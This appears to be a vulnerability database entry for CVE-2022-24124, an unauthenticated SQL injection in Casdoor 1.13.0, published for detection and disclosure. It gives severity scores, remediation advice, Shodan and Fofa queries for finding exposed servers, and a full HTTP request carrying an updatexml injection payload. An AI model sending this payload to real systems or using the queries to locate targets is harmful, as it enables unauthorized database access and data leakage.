🔙 목록으로 돌아가기

CVE-2022-24124: Casdoor 1.13.0 - Unauthenticated SQL Injection

TitleCasdoor 1.13.0 - Unauthenticated SQL Injection
Authorcckuailong
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpgrade to a patched version of Casdoor or apply the necessary security patches to mitigate the SQL injection vulnerability.
CVSS Score7.5
EPSS Score0.57377
CVE IDCVE-2022-24124
CWE IDCWE-89
Shodan Queryhttp.title:"Casdoor"http.title:"casdoor"
Fofa Querytitle="casdoor"
Tags cve cve2022 sqli unauth packetstorm edb casdoor casbin vuln

🔍 Vulnerability Description

Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations.

🌐 HTTP Request

GET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField&sortOrder&field=updatexml(1,version(),1) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24124.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24124.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A